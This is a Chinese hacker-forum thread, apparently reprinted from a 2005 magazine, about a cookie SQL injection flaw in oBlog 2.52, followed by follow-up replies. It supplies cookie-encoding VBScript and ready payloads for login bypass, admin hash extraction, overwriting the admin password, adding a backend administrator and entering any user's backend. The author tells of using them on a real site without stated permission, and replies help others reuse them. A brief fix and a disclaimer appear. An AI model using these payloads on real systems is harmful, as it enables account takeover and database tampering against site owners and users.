发新话题
打印

[原创]blog的噩梦

[原创]blog的噩梦

文章作者:千寂孤城
信息来源:邪恶八进制信息安全团队

注:本文已发表在2005年8月的《黑客X档案》杂志上,版权归其所有。转载请保留版权字样


  现在的博客可谓是如日中天啊,还自称是“互联网的第四块里程碑”。期末考试刚刚结束,我就下了套oBlog 2.52来研究,我读啊读、找啊找,终于让我找到个大漏洞。
  问题出在inc/function.asp的CheckUserLogined()函数中,大家看代码:
复制内容到剪贴板
代码:
function CheckUserLogined()
    dim Logined,Password,rsLogin,sqlLogin
    Logined=True
    UserName=DecodeCookie(Request.Cookies(cookiesname)("UserName"))
    Password=DecodeCookie(Request.Cookies(cookiesname)("Password"))
    userlevel=DecodeCookie(Request.Cookies(cookiesname)("userlevel"))
    if userlevel<>"" then userlevel=cint(userlevel)
    if UserName="" then
        Logined=False
    end if
    if Password="" then
        Logined=False
    end if
    if Logined=True then
        username=ReplaceBadChar(trim(username))
        if ot_user then
            sqlLogin="select * from "&ot_usertable&" where "&ot_username&"=&#39;" & username & "&#39; and "&ot_password&"=&#39;" & password &"&#39;"
            set rsLogin=ot_conn.execute(sqlLogin)
        else
            sqlLogin="select * from [user] where lockuser=&#39;false&#39; and Username=&#39;" & username & "&#39; and UserPassword=&#39;" & password &"&#39;"
            set rsLogin=conn.execute(sqlLogin)
        end if
   …………………………以下省略
    end if
    CheckUserLogined=Logined
end function
看到了吗?在判断用户登陆时只有UserName经过了ReplaceBadChar()检查,Password却直接放到了语句中查询。而UserName和Password都取自cookies,我们当然可以做手脚了!很明显的注入漏洞啊!而且CheckUserLogined()是个很关键的函数,到处都在调用!(呵呵,程序员越马虎,我们越高兴。)
  Wait,还有个DecodeCookie。UserName和Password从cookie中取出来时还要经过DecodeCookie解密,相应的也有个加密函数CodeCookie。所以,我们构造的Cookies也必须是加密过后的。(这两个函数也都在inc/function.asp中)

  工欲善其事,必先利其器!我们先按造它的算法来写两个加密和解码的小程序。啊?你看不懂它的算法?看不懂不要紧,直接把它的代码稍做修改后拷贝到vbs文件中就行了!新建两个vbs文件:CodeCookie.vbs和DecodeCookie.vbs。
  
  CodeCookie.vbs中的代码如下:
复制内容到剪贴板
代码:
  str=inputbox("")
  Dim i
  Dim StrRtn
  For i = Len(Str) to 1 Step -1
  StrRtn = StrRtn & Ascw(Mid(Str,i,1))
  If (i <> 1) Then StrRtn = StrRtn & "a"
  Next
  CodeCookie = StrRtn
  inputbox "","",codecookie
DecodeCookie.vbs中的代码如下:
复制内容到剪贴板
代码:
  str=inputbox("")
  Dim i
  Dim StrArr,StrRtn
  StrArr = Split(Str,"a")
  For i = 0 to UBound(StrArr)
  If isNumeric(StrArr(i)) = True Then
  StrRtn = Chrw(StrArr(i)) & StrRtn
  Else
  StrRtn = Str
  End If
  Next
  DecodeCookie = StrRtn
  inputbox "","",decodecookie
好了, 开始测试!我用的是本市一个非常出名的网站:http://blog.63**.com/进行的测试。调用CheckUserLogined()的页面到处都是,这里我们就用message.asp实验。message.asp是给别人的blog留言的页面。
  先操起MyBrowser(这个是Cookies欺骗的必用工具,地球人都知道!),打开http://blog.63**.com/,随便注册个用户“cdsb”,来到随便一个人“风吹草动”的blog上,进入给他留言的页面。好,开始改Password。打开CodeCookie.vbs,会弹出个输入框,在里面输入a&#39; or &#39;a&#39;=&#39;a,点确定,加密后变成97a39a61a39a97a39a32a114a111a32a39a97,把MyBrowser顶上的Cookies一栏中的Password值改成这个。随便发条“你好”的消息。如图1。

  图1地址:http://cdsb.xinwen365.com/a1.bmp

  注意看留言者变成了admin。为什么会这样呢,因为经过我们改动后的Cookies放到CheckUserLogined()中就成了这样:select * from [user] where lockuser=&#39;false&#39; and Username=&#39;cdsb&#39; and UserPassword=&#39;a&#39; or &#39;a&#39;=&#39;a&#39;  而在逻辑运算符中and的优先级比or高,所以程序会先处理and再处理or,那语句就成了“假or真”。学过高一数学的人都知道“假or真=真”。所以就成功地绕过去了。这样绕出来的用户不是特定的一个而是所以的(你在查询分析器里试试就明白了),但admin是user表中的第一个用户,所以你的身份就成了admin。

  现在来看看管理员密码。刚开始我想的是用union查询,但是老成功不了。所以我们试试让它转换数据类型出错后自己暴出来。
  打开DecodeCookie.vbs,也会弹出个框框。把正常登陆时的Cookies中的Password值copy过去,点确定,出来了:931b77e2e9192ef5。这是什么?这就是用MD5加密后的你的密码呀。
  把Cookies中的Password改成:931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--(当然,要先用CodeCookie.vbs加密这句。),放到原句中成了select * from [user] where lockuser=&#39;false&#39; and Username=&#39;cdsb&#39; and UserPassword=&#39;931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--&#39;  记住后面有个“--”,是为了把最后的那个“&#39;”注释掉。刷新一下。如图2。

  图2地址:http://cdsb.xinwen365.com/a2.bmp


  怎么样?暴出来了吧,密码是:d1ff837456669b30,放到MD5Crack3里去跑了跑,6位数字、7位、8位都没跑出来,没办法只有改他的密码了。(本来不想这样做的,谁叫他怎么可恶,居然不用弱口令。)
  将Password改为:931b77e2e9192ef5&#39; update [user] set userpassword=&#39;931b77e2e9192ef5&#39; where username=&#39;admin 这样就把admin的密码改来和我一样了。

  用admin登陆,如图3

  图3地址:http://cdsb.xinwen365.com/a3.bmp

  这时可以修改admin的blog了。(其实进入admin的blog后台不用那么麻烦,因为blog后台user_index.asp也是用CheckUserLogined()函数来判断身份的。直接进入自己的oblog后台再把password值改成a&#39; or &#39;a&#39;=&#39;a,刷新一下就成了admin的blog后台了,我是为了试验update和暴数据的可能性才这么绕了一大圈的。事后我将admin的密码改回来了。)你问我为什么进admin的blog后台?因为blog的“公告栏”那里是可以进行跨站攻击的。

  前台玩够了来玩后台,后台的用户名和密码是放在admin表中的。同样是在给“风吹草动”的blog留言的页面处,把password改成:931b77e2e9192ef5&#39; insert into admin(username,password) values(&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;)-- 刷新一下。好,来到这里http://blog.63**.com/admin_login.asp。这是oblog的默认管理登陆地址。管理员没改地址,GOOD!输入cdsb和你的密码,可爱的后台出来了。如图4

   图4地址:http://cdsb.xinwen365.com/a4.bmp

   后台能跨站的地方就更多了。如图5

   图5地址:http://cdsb.xinwen365.com/a5.bmp

   好了,玩也玩够了,做为安全检测到这儿就可以了,就不再在webshell上下工夫了。闪人!
  既然可以执行构造语句,那怎么利用全看你的想象力了。
  漏洞修补方法:在inc/function.asp的CheckUserLogined()函数中加上password=ReplaceBadChar(trim(password))就行了。
  特别申明:坚决反对利用此漏洞搞恶意破坏。
You're my FF~, forever~ ^_^

TOP

插图我没办法引用(盗连空间商要删图),只好这样了。
其实这个漏洞就是过滤不严,写得不好请大家见谅。
You're my FF~, forever~ ^_^

TOP

password=ReplaceBadChar(trim(password))
这样过滤好象没用,trim只是过滤字符串开始的和最后的空格,而且用TABLE键替代空格也可以饶过。
还是用instr来检测单引号比较好

TOP

有ReplaceBadChar()啊,有用的。

replacebadchar是oblog专门用来过滤的函数。其代码我抄在下面:
复制内容到剪贴板
代码:
function ReplaceBadChar(strChar)
     if strChar="" then
          ReplaceBadChar=""
     else
          ReplaceBadChar=replace(replace(replace(replace(replace(replace(replace(strChar,"&#39;",""),"*",""),"?",""),"(",""),")",""),"<",""),".","")
     end if
end function
You're my FF~, forever~ ^_^

TOP

此漏洞使用于mssql版的,ACC似乎无法加管理员。

TOP

&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;

4727ee9395f324cd这个是什么啊

TOP

4727ee9395f324cd是password的md5值,比如你想把密码改成aaa,那你必须要先把aaa转换成md5值再插入到数据库中吧。
You're my FF~, forever~ ^_^

TOP

把password改成:931b77e2e9192ef5&#39; insert into admin(username,password) values(&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;)-- 不是很理解


931b77e2e9192ef5 这是你的密码(MD5)
4727ee9395f324cd 那这个是什么呢?哪个值的MD5?

TOP

oblog普通用户的数据和后台管理员的数据是存放在不同的表中的,普通用户在user表里,后台管理员在admin表里。

select * from [user] where lockuser=&#39;false&#39; and Username=&#39;cdsb&#39; and UserPassword=&#39;931b77e2e9192ef5&#39; insert into admin(username,password) values(&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;)--
这句就是给admin表中加一个用户cdsb,至于4727ee9395f324cd,那是当时给cdsb随便设置的密码,好象是ddd吧,我也不记得了。总之它和931b77e2e9192ef5是没任何联系的,931b77e2e9192ef5是user表中cdsb的密码。
You're my FF~, forever~ ^_^

TOP

49ba59abbe56e057&#39; insert into admin(username,password) values(&#39;pucua&#39;,&#39;02aaeb34d44da7aa&#39;)--
我在PSSWORD后面提交以上数据
都没有成功?
郁闷啊

TOP

要把49ba59abbe56e057&#39; insert into admin(username,password) values(&#39;pucua&#39;,&#39;02aaeb34d44da7aa&#39;)--加密后替换password的值。
如果无法成功原因可能是:
1、你没找到真正的后台登陆页面。管理员改了页面留下了假的。
2、可能像xiaobye说的那样。此漏洞使用于mssql版的,ACC似乎无法加管理员。
You're my FF~, forever~ ^_^

TOP

select * from [user] where lockuser=&#39;false&#39; and Username=&#39;cdsb&#39; and UserPassword=&#39;931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--&#39;

931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--

这两段是选择第一段使用CodeCookie.vbs加密..?
能不能把加密后的结果贴以下...
谢了
一切皆随缘....

TOP

不是,是用第二段加密。结果:
45a45a41a49a61a100a105a114a101a115a117a32a101a114a101a104a119a32a93a114a101a115a117a91a32a109a111a114a102a32a100a114a111a119a115a115a97a112a114a101a115a117a32a116a99a101a108a101a115a40a60a49a32a100a110a97a32a39a53a102a101a50a57a49a57a101a50a101a55a55a98a49a51a57
但是你拿这个没用,因为你的密码和我的不一样
You're my FF~, forever~ ^_^

TOP

加密后复制下来替换掉原来的password值就行了。
You're my FF~, forever~ ^_^

TOP

oblog 2.52进入任何人的后台漏洞


其实漏洞原理就和我《Blog的噩梦》一文中的原理一模一样,通过改cookies注入(正因为如此所以不敢成新的主题,怕挨砖头。:))。但是进入任何人的后台的漏洞危害太大,比较特殊。所以单独提出来。

方法:随便注册个用户,进入你自己的后台,然后把Cookies中的Password值改成用CodeCookie.vbs加密后的这句:931b77e2e9192ef5&#39; or username=&#39;abcd

刷新一下,你就进入了abcd的后台了。


PS:此漏洞对mssql或是ACC都有效。
You're my FF~, forever~ ^_^

TOP

当然,那个931b77e2e9192ef5指的是你自己的密码的md5值。
You're my FF~, forever~ ^_^

TOP

就楼主提供的代码来看,似乎密码那可以随便填,只要不为空。只要OR后面的成立就行

TOP

是的,但是也许有人会想不到怎么构造才可以进入任何人的后台,而且进入任何人的后台满好玩的,所以我贴出来了。
You're my FF~, forever~ ^_^

TOP

顺便问一下,16位MD5中是不是不会有f及其以后的字母?那32位有没有?

TOP

我也是啊,换了N个网站,硬是暴不出密码来,不知道什么原因,LZ再把暴库和入后台那里写详细点吧。
谢谢

TOP

到底ACC版的可以用不??我晕了,LZ跑哪去了啊?

TOP

对不起了,因为高三了所以不怎么上网了。
ACC版的可以用,但是不能暴密码,由于ACC不支持多语句,所以加管理员、改数据、删帐号等等就都不行了,但是进入任何人的后台或者是什么or 1=1的是可以的,因为这不算多语句。

暴密码:
inc/function.asp的CheckUserLogined()函数中的代码是这样写的:

Password=DecodeCookie(Request.Cookies(cookiesname)("Password"))
sqlLogin="select * from [user] where lockuser=&#39;false&#39; and Username=&#39;" & username & "&#39; and UserPassword=&#39;" & password &"&#39;"
set rsLogin=conn.execute(sqlLogin)

我们把这句:931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--放到我们自己做的codecookie.vbs里去加密,变成了:

45a45a41a49a61a100a105a114a101a115a117a32a101a114a101a104a119a32a93a114a101a115a117a91a32a109a111a114a102a32a100a114a111a119a115a115a97a112a114a101a115a117a32a116a99a101a108a101a115a40a60a49a32a100a110a97a32a39a53a102a101a50a57a49a57a101a50a101a55a55a98a49a51a57

好了,把这一串东西填到Cookies里的Password=后面去。
这样,我们填的那一串代码经过它的Password=DecodeCookie(Request.Cookies(cookiesname)("Password"))还原成了931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--,然后再被放到语句里去执行就成了select * from [user] where lockuser=&#39;false&#39; and Username=&#39;" & username & "&#39; and UserPassword=&#39;931b77e2e9192ef5&#39; and 1<(select userpassword from [user] where userid=1)--&#39;,所以就暴出了密码(ACC是不行的)。

入后台:
道理也是一样的,把931b77e2e9192ef5&#39; insert into admin(username,password) values(&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;)--放到codecookie.vbs里去加密,变成一串代码,然后填到Cookies里,它的执行语句就成了:select * from [user] where lockuser=&#39;false&#39; and Username=&#39;" & username & "&#39; and UserPassword=931b77e2e9192ef5&#39; insert into admin(username,password) values(&#39;cdsb&#39;,&#39;4727ee9395f324cd&#39;)--&#39;即在admin表中加入了一个管理员cdsb。由于管理员的帐号和普通会员的帐号是放在不同的表里的,一个是admin表,一个是user表,所以插入的数据和你的前台用户名密码一不一样没关系。
You're my FF~, forever~ ^_^

TOP

文章的结果不是很重要,但是通过cookie注入的思路却很不错.
此ID为马甲.多人使用.

TOP

发新话题